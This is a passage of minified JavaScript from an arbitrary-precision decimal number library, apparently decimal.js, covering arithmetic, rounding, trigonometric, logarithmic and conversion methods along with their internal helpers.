0===o[i+1]&&(o[i+1]=0),o[i+1]+=o[i]/e|0,o[i]%=e)}return o.reverse()}E.absoluteValue=E.abs=function(){var n=new this.constructor(this);return n.s<0&&(n.s=1),D(n)},E.ceil=function(){return D(new this.constructor(this),this.e+1,2)},E.clampedTo=E.clamp=function(n,t){var e=this.constructor;if(n=new e(n),t=new e(t),!n.s||!t.s)return new e(NaN);if(n.gt(t))throw Error(f+t);return 0>this.cmp(n)?n:this.cmp(t)>0?t:new e(this)},E.comparedTo=E.cmp=function(n){var t,e,i,r,s=this.d,o=(n=new this.constructor(n)).d,u=this.s,c=n.s;if(!s||!o)return u&&c?u!==c?u:s===o?0:!s^u<0?1:-1:NaN;if(!s[0]||!o[0])return s[0]?u:o[0]?-c:0;if(u!==c)return u;if(this.e!==n.e)return this.e>n.e^u<0?1:-1;for(t=0,e=(i=s.length)<(r=o.length)?i:r;t<e;++t)if(s[t]!==o[t])return s[t]>o[t]^u<0?1:-1;return i===r?0:i>r^u<0?1:-1},E.cosine=E.cos=function(){var n,t,e=this,i=e.constructor;return e.d?e.d[0]?(n=i.precision,t=i.rounding,i.precision=n+Math.max(e.e,e.sd())+7,i.rounding=1,e=function(n,t){var e,i,r;if(t.isZero())return t;(i=t.d.length)<32?r=(1/B(4,e=Math.ceil(i/3))).toString():(e=16,r="2.3283064365386962890625e-10"),n.precision+=e,t=$(n,1,t.times(r),new n(1));for(var s=e;s--;){var o=t.times(t);t=o.times(o).minus(o).times(8).plus(1)}return n.precision-=e,t}(i,W(i,e)),i.precision=n,i.rounding=t,D(2==r||3==r?e.neg():e,n,t,!0)):new i(1):new i(NaN)},E.cubeRoot=E.cbrt=function(){var n,t,e,i,r,s,o,u,c,a,f=this.constructor;if(!this.isFinite()||this.isZero())return new f(this);for(h=!1,(s=this.s*m(this.s*this,1/3))&&Math.abs(s)!=1/0?i=new f(s.toString()):(e=O(this.d),(s=((n=this.e)-e.length+1)%3)&&(e+=1==s||-2==s?"0":"00"),s=m(e,1/3),n=g((n+1)/3)-(n%3==(n<0?-1:2)),(i=new f(e=s==1/0?"5e"+n:(e=s.toExponential()).slice(0,e.indexOf("e")+1)+n)).s=this.s),o=(n=f.precision)+3;;)if(i=q((a=(c=(u=i).times(u).times(u)).plus(this)).plus(this).times(u),a.plus(c),o+2,1),O(u.d).slice(0,o)===(e=O(i.d)).slice(0,o)){if("9999"!=(e=e.slice(o-3,o+1))&&(r||"4999"!=e)){+e&&(+e.slice(1)||"5"!=e.charAt(0))||(D(i,n+1,1),t=!i.times(i).times(i).eq(this));break}if(!r&&(D(u,n+1,0),u.times(u).times(u).eq(this))){i=u;break}o+=4,r=1}return h=!0,D(i,n,f.rounding,t)},E.decimalPlaces=E.dp=function(){var n,t=this.d,e=NaN;if(t){if(e=((n=t.length-1)-g(this.e/7))*7,n=t[n])for(;n%10==0;n/=10)e--;e<0&&(e=0)}return e},E.dividedBy=E.div=function(n){return q(this,new this.constructor(n))},E.dividedToIntegerBy=E.divToInt=function(n){var t=this.constructor;return D(q(this,new t(n),0,1,1),t.precision,t.rounding)},E.equals=E.eq=function(n){return 0===this.cmp(n)},E.floor=function(){return D(new this.constructor(this),this.e+1,3)},E.greaterThan=E.gt=function(n){return this.cmp(n)>0},E.greaterThanOrEqualTo=E.gte=function(n){var t=this.cmp(n);return 1==t||0===t},E.hyperbolicCosine=E.cosh=function(){var n,t,e,i,r,s=this,o=s.constructor,u=new o(1);if(!s.isFinite())return new o(s.s?1/0:NaN);if(s.isZero())return u;e=o.precision,i=o.rounding,o.precision=e+Math.max(s.e,s.sd())+4,o.rounding=1,(r=s.d.length)<32?t=(1/B(4,n=Math.ceil(r/3))).toString():(n=16,t="2.3283064365386962890625e-10"),s=$(o,1,s.times(t),new o(1),!0);for(var c,h=n,a=new o(8);h--;)c=s.times(s),s=u.minus(c.times(a.minus(c.times(a))));return D(s,o.precision=e,o.rounding=i,!0)},E.hyperbolicSine=E.sinh=function(){var n,t,e,i,r=this,s=r.constructor;if(!r.isFinite()||r.isZero())return new s(r);if(t=s.precision,e=s.rounding,s.precision=t+Math.max(r.e,r.sd())+4,s.rounding=1,(i=r.d.length)<3)r=$(s,2,r,r,!0);else{n=(n=1.4*Math.sqrt(i))>16?16:0|n,r=$(s,2,r=r.times(1/B(5,n)),r,!0);for(var o,u=new s(5),c=new s(16),h=new s(20);n--;)o=r.times(r),r=r.times(u.plus(o.times(c.times(o).plus(h))))}return s.precision=t,s.rounding=e,D(r,t,e,!0)},E.hyperbolicTangent=E.tanh=function(){var n,t,e=this.constructor;return this.isFinite()?this.isZero()?new e(this):(n=e.precision,t=e.rounding,e.precision=n+7,e.rounding=1,q(this.sinh(),this.cosh(),e.precision=n,e.rounding=t)):new e(this.s)},E.inverseCosine=E.acos=function(){var n=this,t=n.constructor,e=n.abs().cmp(1),i=t.precision,r=t.rounding;return -1!==e?0===e?n.isNeg()?A(t,i,r):new t(0):new t(NaN):n.isZero()?A(t,i+4,r).times(.5):(t.precision=i+6,t.rounding=1,n=new t(1).minus(n).div(n.plus(1)).sqrt().atan(),t.precision=i,t.rounding=r,n.times(2))},E.inverseHyperbolicCosine=E.acosh=function(){var n,t,e=this,i=e.constructor;return e.lte(1)?new i(e.eq(1)?0:NaN):e.isFinite()?(n=i.precision,t=i.rounding,i.precision=n+Math.max(Math.abs(e.e),e.sd())+4,i.rounding=1,h=!1,e=e.times(e).minus(1).sqrt().plus(e),h=!0,i.precision=n,i.rounding=t,e.ln()):new i(e)},E.inverseHyperbolicSine=E.asinh=function(){var n,t,e=this,i=e.constructor;return!e.isFinite()||e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+2*Math.max(Math.abs(e.e),e.sd())+6,i.rounding=1,h=!1,e=e.times(e).plus(1).sqrt().plus(e),h=!0,i.precision=n,i.rounding=t,e.ln())},E.inverseHyperbolicTangent=E.atanh=function(){var n,t,e,i,r=this,s=r.constructor;return r.isFinite()?r.e>=0?new s(r.abs().eq(1)?r.s/0:r.isZero()?r:NaN):(n=s.precision,t=s.rounding,Math.max(i=r.sd(),n)<-(2*r.e)-1)?D(new s(r),n,t,!0):(s.precision=e=i-r.e,r=q(r.plus(1),new s(1).minus(r),e+n,1),s.precision=n+4,s.rounding=1,r=r.ln(),s.precision=n,s.rounding=t,r.times(.5)):new s(NaN)},E.inverseSine=E.asin=function(){var n,t,e,i,r=this,s=r.constructor;return r.isZero()?new s(r):(t=r.abs().cmp(1),e=s.precision,i=s.rounding,-1!==t)?0===t?((n=A(s,e+4,i).times(.5)).s=r.s,n):new s(NaN):(s.precision=e+6,s.rounding=1,r=r.div(new s(1).minus(r.times(r)).sqrt().plus(1)).atan(),s.precision=e,s.rounding=i,r.times(2))},E.inverseTangent=E.atan=function(){var n,t,e,i,r,s,o,u,c,a=this,f=a.constructor,l=f.precision,d=f.rounding;if(a.isFinite()){if(a.isZero())return new f(a);else if(a.abs().eq(1)&&l+4<=x)return(o=A(f,l+4,d).times(.25)).s=a.s,o}else{if(!a.s)return new f(NaN);if(l+4<=x)return(o=A(f,l+4,d).times(.5)).s=a.s,o}for(f.precision=u=l+10,f.rounding=1,n=e=Math.min(28,u/7+2|0);n;--n)a=a.div(a.times(a).plus(1).sqrt().plus(1));for(h=!1,t=Math.ceil(u/7),i=1,c=a.times(a),o=new f(a),r=a;-1!==n;)if(r=r.times(c),s=o.minus(r.div(i+=2)),r=r.times(c),void 0!==(o=s.plus(r.div(i+=2))).d[t])for(n=t;o.d[n]===s.d[n]&&n--;);return e&&(o=o.times(2<<e-1)),h=!0,D(o,f.precision=l,f.rounding=d,!0)},E.isFinite=function(){return!!this.d},E.isInteger=E.isInt=function(){return!!this.d&&g(this.e/7)>this.d.length-2},E.isNaN=function(){return!this.s},E.isNegative=E.isNeg=function(){return this.s<0},E.isPositive=E.isPos=function(){return this.s>0},E.isZero=function(){return!!this.d&&0===this.d[0]},E.lessThan=E.lt=function(n){return 0>this.cmp(n)},E.lessThanOrEqualTo=E.lte=function(n){return 1>this.cmp(n)},E.logarithm=E.log=function(n){var t,e,i,r,s,o,u,c=this.constructor,a=c.precision,f=c.rounding;if(null==n)n=new c(10),t=!0;else{if(e=(n=new c(n)).d,n.s<0||!e||!e[0]||n.eq(1))return new c(NaN);t=n.eq(10)}if(e=this.d,this.s<0||!e||!e[0]||this.eq(1))return new c(e&&!e[0]?-1/0:1!=this.s?NaN:e?0:1/0);if(t)if(e.length>1)r=!0;else{for(i=e[0];i%10==0;)i/=10;r=1!==i}if(h=!1,P((u=q(s=H(this,o=a+5),t?R(c,o+10):H(n,o),o,1)).d,i=a,f))do if(o+=10,u=q(s=H(this,o),t?R(c,o+10):H(n,o),o,1),!r){+O(u.d).slice(i+1,i+15)+1==1e14&&(u=D(u,a+1,0));break}while(P(u.d,i+=10,f));return h=!0,D(u,a,f)},E.minus=E.sub=function(n){var t,e,i,r,s,o,u,c,a,f,l,d,p=this.constructor;if(n=new p(n),!this.d||!n.d)return this.s&&n.s?this.d?n.s=-n.s:n=new p(n.d||this.s!==n.s?this:NaN):n=new p(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.plus(n);if(a=this.d,d=n.d,u=p.precision,c=p.rounding,!a[0]||!d[0]){if(d[0])n.s=-n.s;else{if(!a[0])return new p(3===c?-0:0);n=new p(this)}return h?D(n,u,c):n}if(e=g(n.e/7),f=g(this.e/7),a=a.slice(),s=f-e){for((l=s<0)?(t=a,s=-s,o=d.length):(t=d,e=f,o=a.length),s>(i=Math.max(Math.ceil(u/7),o)+2)&&(s=i,t.length=1),t.reverse(),i=s;i--;)t.push(0);t.reverse()}else{for((l=(i=a.length)<(o=d.length))&&(o=i),i=0;i<o;i++)if(a[i]!=d[i]){l=a[i]<d[i];break}s=0}for(l&&(t=a,a=d,d=t,n.s=-n.s),o=a.length,i=d.length-o;i>0;--i)a[o++]=0;for(i=d.length;i>s;){if(a[--i]<d[i]){for(r=i;r&&0===a[--r];)a[r]=1e7-1;--a[r],a[i]+=1e7}a[i]-=d[i]}for(;0===a[--o];)a.pop();for(;0===a[0];a.shift())--e;return a[0]?(n.d=a,n.e=F(a,e),h?D(n,u,c):n):new p(3===c?-0:0)},E.modulo=E.mod=function(n){var t,e=this.constructor;return(n=new e(n),this.d&&n.s&&(!n.d||n.d[0]))?n.d&&(!this.d||this.d[0])?(h=!1,9==e.modulo?(t=q(this,n.abs(),0,3,1),t.s*=n.s):t=q(this,n,0,e.modulo,1),t=t.times(n),h=!0,this.minus(t)):D(new e(this),e.precision,e.rounding):new e(NaN)},E.naturalExponential=E.exp=function(){return U(this)},E.naturalLogarithm=E.ln=function(){return H(this)},E.negated=E.neg=function(){var n=new this.constructor(this);return n.s=-n.s,D(n)},E.plus=E.add=function(n){var t,e,i,r,s,o,u,c,a,f,l=this.constructor;if(n=new l(n),!this.d||!n.d)return this.s&&n.s?this.d||(n=new l(n.d||this.s===n.s?this:NaN)):n=new l(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.minus(n);if(a=this.d,f=n.d,u=l.precision,c=l.rounding,!a[0]||!f[0])return f[0]||(n=new l(this)),h?D(n,u,c):n;if(s=g(this.e/7),i=g(n.e/7),a=a.slice(),r=s-i){for(r<0?(e=a,r=-r,o=f.length):(e=f,i=s,o=a.length),r>(o=(s=Math.ceil(u/7))>o?s+1:o+1)&&(r=o,e.length=1),e.reverse();r--;)e.push(0);e.reverse()}for((o=a.length)-(r=f.length)<0&&(r=o,e=f,f=a,a=e),t=0;r;)t=(a[--r]=a[r]+f[r]+t)/1e7|0,a[r]%=1e7;for(t&&(a.unshift(t),++i),o=a.length;0==a[--o];)a.pop();return n.d=a,n.e=F(a,i),h?D(n,u,c):n},E.precision=E.sd=function(n){var t;if(void 0!==n&&!!n!==n&&1!==n&&0!==n)throw Error(f+n);return this.d?(t=Z(this.d),n&&this.e+1>t&&(t=this.e+1)):t=NaN,t},E.round=function(){var n=this.constructor;return D(new n(this),this.e+1,n.rounding)},E.sine=E.sin=function(){var n,t,e=this,i=e.constructor;return e.isFinite()?e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+Math.max(e.e,e.sd())+7,i.rounding=1,e=function(n,t){var e,i=t.d.length;if(i<3)return t.isZero()?t:$(n,2,t,t);e=(e=1.4*Math.sqrt(i))>16?16:0|e,t=$(n,2,t=t.times(1/B(5,e)),t);for(var r,s=new n(5),o=new n(16),u=new n(20);e--;)r=t.times(t),t=t.times(s.plus(r.times(o.times(r).minus(u))));return t}(i,W(i,e)),i.precision=n,i.rounding=t,D(r>2?e.neg():e,n,t,!0)):new i(NaN)},E.squareRoot=E.sqrt=function(){var n,t,e,i,r,s,o=this.d,u=this.e,c=this.s,a=this.constructor;if(1!==c||!o||!o[0])return new a(!c||c<0&&(!o||o[0])?NaN:o?this:1/0);for(h=!1,0==(c=Math.sqrt(+this))||c==1/0?(((t=O(o)).length+u)%2==0&&(t+="0"),c=Math.sqrt(t),u=g((u+1)/2)-(u<0||u%2),i=new a(t=c==1/0?"5e"+u:(t=c.toExponential()).slice(0,t.indexOf("e")+1)+u)):i=new a(c.toString()),e=(u=a.precision)+3;;)if(i=(s=i).plus(q(this,s,e+2,1)).times(.5),O(s.d).slice(0,e)===(t=O(i.d)).slice(0,e)){if("9999"!=(t=t.slice(e-3,e+1))&&(r||"4999"!=t)){+t&&(+t.slice(1)||"5"!=t.charAt(0))||(D(i,u+1,1),n=!i.times(i).eq(this));break}if(!r&&(D(s,u+1,0),s.times(s).eq(this))){i=s;break}e+=4,r=1}return h=!0,D(i,u,a.rounding,n)},E.tangent=E.tan=function(){var n,t,e=this,i=e.constructor;return e.isFinite()?e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+10,i.rounding=1,(e=e.sin()).s=1,e=q(e,new i(1).minus(e.times(e)).sqrt(),n+10,0),i.precision=n,i.rounding=t,D(2==r||4==r?e.neg():e,n,t,!0)):new i(NaN)},E.times=E.mul=function(n){var t,e,i,r,s,o,u,c,a,f=this.constructor,l=this.d,d=(n=new f(n)).d;if(n.s*=this.s,!l||!l[0]||!d||!d[0])return new f(!n.s||l&&!l[0]&&!d||d&&!d[0]&&!l?NaN:!l||!d?n.s/0:0*n.s);for(e=g(this.e/7)+g(n.e/7),(c=l.length)<(a=d.length)&&(s=l,l=d,d=s,o=c,c=a,a=o),s=[],i=o=c+a;i--;)s.push(0);for(i=a;--i>=0;){for(t=0,r=c+i;r>i;)u=s[r]+d[i]*l[r-i-1]+t,s[r--]=u%1e7|0,t=u/1e7|0;s[r]=(s[r]+t)%1e7|0}for(;!s[--o];)s.pop();return t?++e:s.shift(),n.d=s,n.e=F(s,e),h?D(n,f.precision,f.rounding):n},E.toBinary=function(n,t){return V(this,2,n,t)},E.toDecimalPlaces=E.toDP=function(n,t){var e=this,i=e.constructor;return(e=new i(e),void 0===n)?e:(M(n,0,1e9),void 0===t?t=i.rounding:M(t,0,8),D(e,n+e.e+1,t))},E.toExponential=function(n,t){var e,i=this,r=i.constructor;return void 0===n?e=j(i,!0):(M(n,0,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(i),n+1,t),!0,n+1)),i.isNeg()&&!i.isZero()?"-"+e:e},E.toFixed=function(n,t){var e,i,r=this.constructor;return void 0===n?e=j(this):(M(n,0,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(this),n+this.e+1,t),!1,n+i.e+1)),this.isNeg()&&!this.isZero()?"-"+e:e},E.toFraction=function(n){var t,e,i,r,s,o,u,c,a,l,d,p,g=this.d,w=this.constructor;if(!g)return new w(this);if(a=e=new w(1),i=c=new w(0),o=(s=(t=new w(i)).e=Z(g)-this.e-1)%7,t.d[0]=m(10,o<0?7+o:o),null==n)n=s>0?t:a;else{if(!(u=new w(n)).isInt()||u.lt(a))throw Error(f+u);n=u.gt(t)?s>0?t:a:u}for(h=!1,u=new w(O(g)),l=w.precision,w.precision=s=7*g.length*2;d=q(u,t,0,1,1),1!=(r=e.plus(d.times(i))).cmp(n);)e=i,i=r,r=a,a=c.plus(d.times(r)),c=r,r=t,t=u.minus(d.times(r)),u=r;return r=q(n.minus(e),i,0,1,1),c=c.plus(r.times(a)),e=e.plus(r.times(i)),c.s=a.s=this.s,p=1>q(a,i,s,1).minus(this).abs().cmp(q(c,e,s,1).minus(this).abs())?[a,i]:[c,e],w.precision=l,h=!0,p},E.toHexadecimal=E.toHex=function(n,t){return V(this,16,n,t)},E.toNearest=function(n,t){var e=this,i=e.constructor;if(e=new i(e),null==n){if(!e.d)return e;n=new i(1),t=i.rounding}else{if(n=new i(n),void 0===t?t=i.rounding:M(t,0,8),!e.d)return n.s?e:n;if(!n.d)return n.s&&(n.s=e.s),n}return n.d[0]?(h=!1,e=q(e,n,0,t,1).times(n),h=!0,D(e)):(n.s=e.s,e=n),e},E.toNumber=function(){return+this},E.toOctal=function(n,t){return V(this,8,n,t)},E.toPower=E.pow=function(n){var t,e,i,r,s,o,u=this,c=u.constructor,a=+(n=new c(n));if(!u.d||!n.d||!u.d[0]||!n.d[0])return new c(m(+u,a));if((u=new c(u)).eq(1))return u;if(i=c.precision,s=c.rounding,n.eq(1))return D(u,i,s);if((t=g(n.e/7))>=n.d.length-1&&(e=a<0?-a:a)<=0x1fffffffffffff)return r=T(c,u,e,i),n.s<0?new c(1).div(r):D(r,i,s);if((o=u.s)<0){if(t<n.d.length-1)return new c(NaN);if((1&n.d[t])==0&&(o=1),0==u.e&&1==u.d[0]&&1==u.d.length)return u.s=o,u}return(t=0!=(e=m(+u,a))&&isFinite(e)?new c(e+"").e:g(a*(Math.log("0."+O(u.d))/Math.LN10+u.e+1)))>c.maxE+1||t<c.minE-1?new c(t>0?o/0:0):(h=!1,c.rounding=u.s=1,e=Math.min(12,(t+"").length),(r=U(n.times(H(u,i+e)),i)).d&&P((r=D(r,i+5,1)).d,i,s)&&(t=i+10,+O((r=D(U(n.times(H(u,t+e)),t),t+5,1)).d).slice(i+1,i+15)+1==1e14&&(r=D(r,i+1,0))),r.s=o,h=!0,c.rounding=s,D(r,i,s))},E.toPrecision=function(n,t){var e,i=this,r=i.constructor;return void 0===n?e=j(i,i.e<=r.toExpNeg||i.e>=r.toExpPos):(M(n,1,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(i),n,t),n<=i.e||i.e<=r.toExpNeg,n)),i.isNeg()&&!i.isZero()?"-"+e:e},E.toSignificantDigits=E.toSD=function(n,t){var e=this.constructor;return void 0===n?(n=e.precision,t=e.rounding):(M(n,1,1e9),void 0===t?t=e.rounding:M(t,0,8)),D(new e(this),n,t)},E.toString=function(){var n=this.constructor,t=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()&&!this.isZero()?"-"+t:t},E.truncated=E.trunc=function(){return D(new this.constructor(this),this.e+1,1)},E.valueOf=E.toJSON=function(){var n=this.constructor,t=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()?"-"+t:t};var q=function(){function n(n,t,e){var i,r=0,s=n.length;for(n=n.slice();s--;)i=n[s]*t+r,n[s]=i%e|0,r=i/e|0;return r&&n.unshift(r),n}function t(n,t,e,i){var r,s;if(e!=i)s=e>i?1:-1;else for(r=s=0;r<e;r++)if(n[r]!=t[r]){s=n[r]>t[r]?1:-1;break}return s}function e(n,t,e,i){for(var r=0;e--;)n[e]-=r,r=+(n[e]<t[e]),n[e]=r*i+n[e]-t[e];for(;!n[0]&&n.length>1;)n.shift()}return function(r,s,o,u,c,h){var a,f,l,d,p,m,w,v,N,b,y,x,E,O,M,P,S,q,j,F,R=r.constructor,A=r.s==s.s?1:-1,Z=r.d,k=s.d;if(!Z||!Z[0]||!k||!k[0])return new R(!r.s||!s.s||(Z?k&&Z[0]==k[0]:!k)?NaN:Z&&0==Z[0]||!k?0*A:A/0);for(h?(p=1,f=r.e-s.e):(h=1e7,p=7,f=g(r.e/p)-g(s.e/p)),j=k.length,S=Z.length,b=(N=new R(A)).d=[],l=0;k[l]==(Z[l]||0);l++);if(k[l]>(Z[l]||0)&&f--,null==o?(O=o=R.precision,u=R.rounding):O=c?o+(r.e-s.e)+1:o,O<0)b.push(1),m=!0;else{if(O=O/p+2|0,l=0,1==j){for(d=0,k=k[0],O++;(l<S||d)&&O--;l++)M=d*h+(Z[l]||0),b[l]=M/k|0,d=M%k|0;m=d||l<S}else{for((d=h/(k[0]+1)|0)>1&&(k=n(k,d,h),Z=n(Z,d,h),j=k.length,S=Z.length),P=j,x=(y=Z.slice(0,j)).length;x<j;)y[x++]=0;(F=k.slice()).unshift(0),q=k[0],k[1]>=h/2&&++q;do d=0,(a=t(k,y,j,x))<0?(E=y[0],j!=x&&(E=E*h+(y[1]||0)),(d=E/q|0)>1?(d>=h&&(d=h-1),v=(w=n(k,d,h)).length,x=y.length,1==(a=t(w,y,v,x))&&(d--,e(w,j<v?F:k,v,h))):(0==d&&(a=d=1),w=k.slice()),(v=w.length)<x&&w.unshift(0),e(y,w,x,h),-1==a&&(x=y.length,(a=t(k,y,j,x))<1&&(d++,e(y,j<x?F:k,x,h))),x=y.length):0===a&&(d++,y=[0]),b[l++]=d,a&&y[0]?y[x++]=Z[P]||0:(y=[Z[P]],x=1);while((P++<S||void 0!==y[0])&&O--);m=void 0!==y[0]}b[0]||b.shift()}if(1==p)N.e=f,i=m;else{for(l=1,d=b[0];d>=10;d/=10)l++;N.e=l+f*p-1,D(N,c?o+N.e+1:o,u,m)}return N}}();function D(n,t,e,i){var r,s,o,u,c,a,f,l,d,p=n.constructor;n:if(null!=t){if(!(l=n.d))return n;for(r=1,u=l[0];u>=10;u/=10)r++;if((s=t-r)<0)s+=7,o=t,c=(f=l[d=0])/m(10,r-o-1)%10|0;else if((d=Math.ceil((s+1)/7))>=(u=l.length))if(i){for(;u++<=d;)l.push(0);f=c=0,r=1,s%=7,o=s-7+1}else break n;else{for(r=1,f=u=l[d];u>=10;u/=10)r++;s%=7,c=(o=s-7+r)<0?0:f/m(10,r-o-1)%10|0}if(i=i||t<0||void 0!==l[d+1]||(o<0?f:f%m(10,r-o-1)),a=e<4?(c||i)&&(0==e||e==(n.s<0?3:2)):c>5||5==c&&(4==e||i||6==e&&(s>0?o>0?f/m(10,r-o):0:l[d-1])%10&1||e==(n.s<0?8:7)),t<1||!l[0])return l.length=0,a?(t-=n.e+1,l[0]=m(10,(7-t%7)%7),n.e=-t||0):l[0]=n.e=0,n;if(0==s?(l.length=d,u=1,d--):(l.length=d+1,u=m(10,7-s),l[d]=o>0?(f/m(10,r-o)%m(10,o)|0)*u:0),a)for(;;)if(0==d){for(s=1,o=l[0];o>=10;o/=10)s++;for(o=l[0]+=u,u=1;o>=10;o/=10)u++;s!=u&&(n.e++,1e7==l[0]&&(l[0]=1));break}else{if(l[d]+=u,1e7!=l[d])break;l[d--]=0,u=1}for(s=l.length;0===l[--s];)l.pop()}return h&&(n.e>p.maxE?(n.d=null,n.e=NaN):n.e<p.minE&&(n.e=0,n.d=[0])),n}function j(n,t,e){if(!n.isFinite())return L(n);var i,r=n.e,s=O(n.d),o=s.length;return t?(e&&(i=e-o)>0?s=s.charAt(0)+"."+s.slice(1)+k(i):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(n.e<0?"e":"e+")+n.e):r<0?(s="0."+k(-r-1)+s,e&&(i=e-o)>0&&(s+=k(i))):r>=o?(s+=k(r+1-o),e&&(i=e-r-1)>0&&(s=s+"."+k(i))):((i=r+1)<o&&(s=s.slice(0,i)+"."+s.slice(i)),e&&(i=e-o)>0&&(r+1===o&&(s+="."),s+=k(i))),s}function F(n,t){var e=n[0];for(t*=7;e>=10;e/=10)t++;return t}function R(n,t,e){if(t>y)throw h=!0,e&&(n.precision=e),Error(l);return D(new n(o),t,1,!0)}function A(n,t,e){if(t>x)throw Error(l);return D(new n(u),t,e,!0)}function Z(n){var t=n.length-1,e=7*t+1;if(t=n[t]){for(;t%10==0;t/=10)e--;for(t=n[0];t>=10;t/=10)e++}return e}function k(n){for(var t="";n--;)t+="0";return t}function T(n,t,e,i){var r,s=new n(1),o=Math.ceil(i/7+4);for(h=!1;;){if(e%2&&z((s=s.times(t)).d,o)&&(r=!0),0===(e=g(e/2))){e=s.d.length-1,r&&0===s.d[e]&&++s.d[e];break}z((t=t.times(t)).d,o)}return h=!0,s}function _(n){return 1&n.d[n.d.length-1]}function C(n,t,e){for(var i,r,s=new n(t[0]),o=0;++o<t.length;){if(!(r=new n(t[o])).s){s=r;break}((i=s.cmp(r))===e||0===i&&s.s===e)&&(s=r)}return s}function U(n,t){var e,i,r,s,o,u,c,a=0,f=0,l=0,d=n.constructor,p=d.rounding,g=d.precision;if(!n.d||!n.d[0]||n.e>17)return new d(n.d?!n.d[0]?1:n.s<0?0:1/0:n.s?n.s<0?0:n:0/0);for(null==t?(h=!1,c=g):c=t,u=new d(.03125);n.e>-2;)n=n.times(u),l+=5;for(c+=i=Math.log(m(2,l))/Math.LN10*2+5|0,e=s=o=new d(1),d.precision=c;;){if(s=D(s.times(n),c,1),e=e.times(++f),O((u=o.plus(q(s,e,c,1))).d).slice(0,c)===O(o.d).slice(0,c)){for(r=l;r--;)o=D(o.times(o),c,1);if(null!=t)return d.precision=g,o;if(!(a<3&&P(o.d,c-i,p,a)))return D(o,d.precision=g,p,h=!0);d.precision=c+=10,e=s=u=new d(1),f=0,a++}o=u}}function H(n,t){var e,i,r,s,o,u,c,a,f,l,d,p=1,g=n,m=g.d,w=g.constructor,v=w.rounding,N=w.precision;if(g.s<0||!m||!m[0]||!g.e&&1==m[0]&&1==m.length)return new w(m&&!m[0]?-1/0:1!=g.s?NaN:m?0:g);if(null==t?(h=!1,f=N):f=t,w.precision=f+=10,i=(e=O(m)).charAt(0),!(15e14>Math.abs(s=g.e)))return a=R(w,f+2,N).times(s+""),g=H(new w(i+"."+e.slice(1)),f-10).plus(a),w.precision=N,null==t?D(g,N,v,h=!0):g;for(;i<7&&1!=i||1==i&&e.charAt(1)>3;)i=(e=O((g=g.times(n)).d)).charAt(0),p++;for(s=g.e,i>1?(g=new w("0."+e),s++):g=new w(i+"."+e.slice(1)),l=g,c=o=g=q(g.minus(1),g.plus(1),f,1),d=D(g.times(g),f,1),r=3;;){if(o=D(o.times(d),f,1),O((a=c.plus(q(o,new w(r),f,1))).d).slice(0,f)===O(c.d).slice(0,f)){if(c=c.times(2),0!==s&&(c=c.plus(R(w,f+2,N).times(s+""))),c=q(c,new w(p),f,1),null!=t)return w.precision=N,c;if(!P(c.d,f-10,v,u))return D(c,w.precision=N,v,h=!0);w.precision=f+=10,a=o=g=q(l.minus(1),l.plus(1),f,1),d=D(g.times(g),f,1),r=u=1}c=a,r+=2}}function L(n){return String(n.s*n.s/0)}function I(n,t){var e,i,r;for((e=t.indexOf("."))>-1&&(t=t.replace(".","")),(i=t.search(/e/i))>0?(e<0&&(e=i),e+=+t.slice(i+1),t=t.substring(0,i)):e<0&&(e=t.length),i=0;48===t.charCodeAt(i);i++);for(r=t.length;48===t.charCodeAt(r-1);--r);if(t=t.slice(i,r)){if(r-=i,n.e=e=e-i-1,n.d=[],i=(e+1)%7,e<0&&(i+=7),i<r){for(i&&n.d.push(+t.slice(0,i)),r-=7;i<r;)n.d.push(+t.slice(i,i+=7));i=7-(t=t.slice(i)).length}else i-=r;for(;i--;)t+="0";n.d.push(+t),h&&(n.e>n.constructor.maxE?(n.d=null,n.e=NaN):n.e<n.constructor.minE&&(n.e=0,n.d=[0]))}else n.e=0,n.d=[0];return n}function $(n,t,e,i,r){var s,o,u,c,a=n.precision,f=Math.ceil(a/7);for(h=!1,c=e.times(e),u=new n(i);;){if(o=q(u.times(c),new n(t++*t++),a,1),u=r?i.plus(o):i.minus(o),i=q(o.times(c),new n(t++*t++),a,1),void 0!==(o=u.plus(i)).d[f]){for(s=f;o.d[s]===u.d[s]&&s--;);if(-1==s)break}s=u,u=i,i=o,o=s}return h=!0,o.d.length=f+1,o}function B(n,t){for(var e=n;--t;)e*=n;return e}function W(n,t){var e,i=t.s<0,s=A(n,n.precision,1),o=s.times(.5);if((t=t.abs()).lte(o))return r=i?4:1,t;if((e=t.divToInt(s)).isZero())r=i?3:2;else{if((t=t.minus(e.times(s))).lte(o))return r=_(e)?i?2:3:i?4:1,t;r=_(e)?i?1:4:i?3:2}return t.minus(s).abs()}function V(n,t,e,r){var o,u,c,h,a,f,l,d,p,g=n.constructor,m=void 0!==e;if(m?(M(e,1,1e9),void 0===r?r=g.rounding:M(r,0,8)):(e=g.precision,r=g.rounding),n.isFinite()){for(c=(l=j(n)).indexOf("."),m?(o=2,16==t?e=4*e-3:8==t&&(e=3*e-2)):o=t,c>=0&&(l=l.replace(".",""),(p=new g(1)).e=l.length-c,p.d=S(j(p),10,o),p.e=p.d.length),u=a=(d=S(l,10,o)).length;0==d[--a];)d.pop();if(d[0]){if(c<0?u--:((n=new g(n)).d=d,n.e=u,d=(n=q(n,p,e,r,0,o)).d,u=n.e,f=i),c=d[e],h=o/2,f=f||void 0!==d[e+1],f=r<4?(void 0!==c||f)&&(0===r||r===(n.s<0?3:2)):c>h||c===h&&(4===r||f||6===r&&1&d[e-1]||r===(n.s<0?8:7)),d.length=e,f)for(;++d[--e]>o-1;)d[e]=0,e||(++u,d.unshift(1));for(a=d.length;!d[a-1];--a);for(c=0,l="";c<a;c++)l+=s.charAt(d[c]);if(m){if(a>1)if(16==t||8==t){for(c=16==t?4:3,--a;a%c;a++)l+="0";for(a=(d=S(l,o,t)).length;!d[a-1];--a);for(c=1,l="1.";c<a;c++)l+=s.charAt(d[c])}else l=l.charAt(0)+"."+l.slice(1);l=l+(u<0?"p":"p+")+u}else 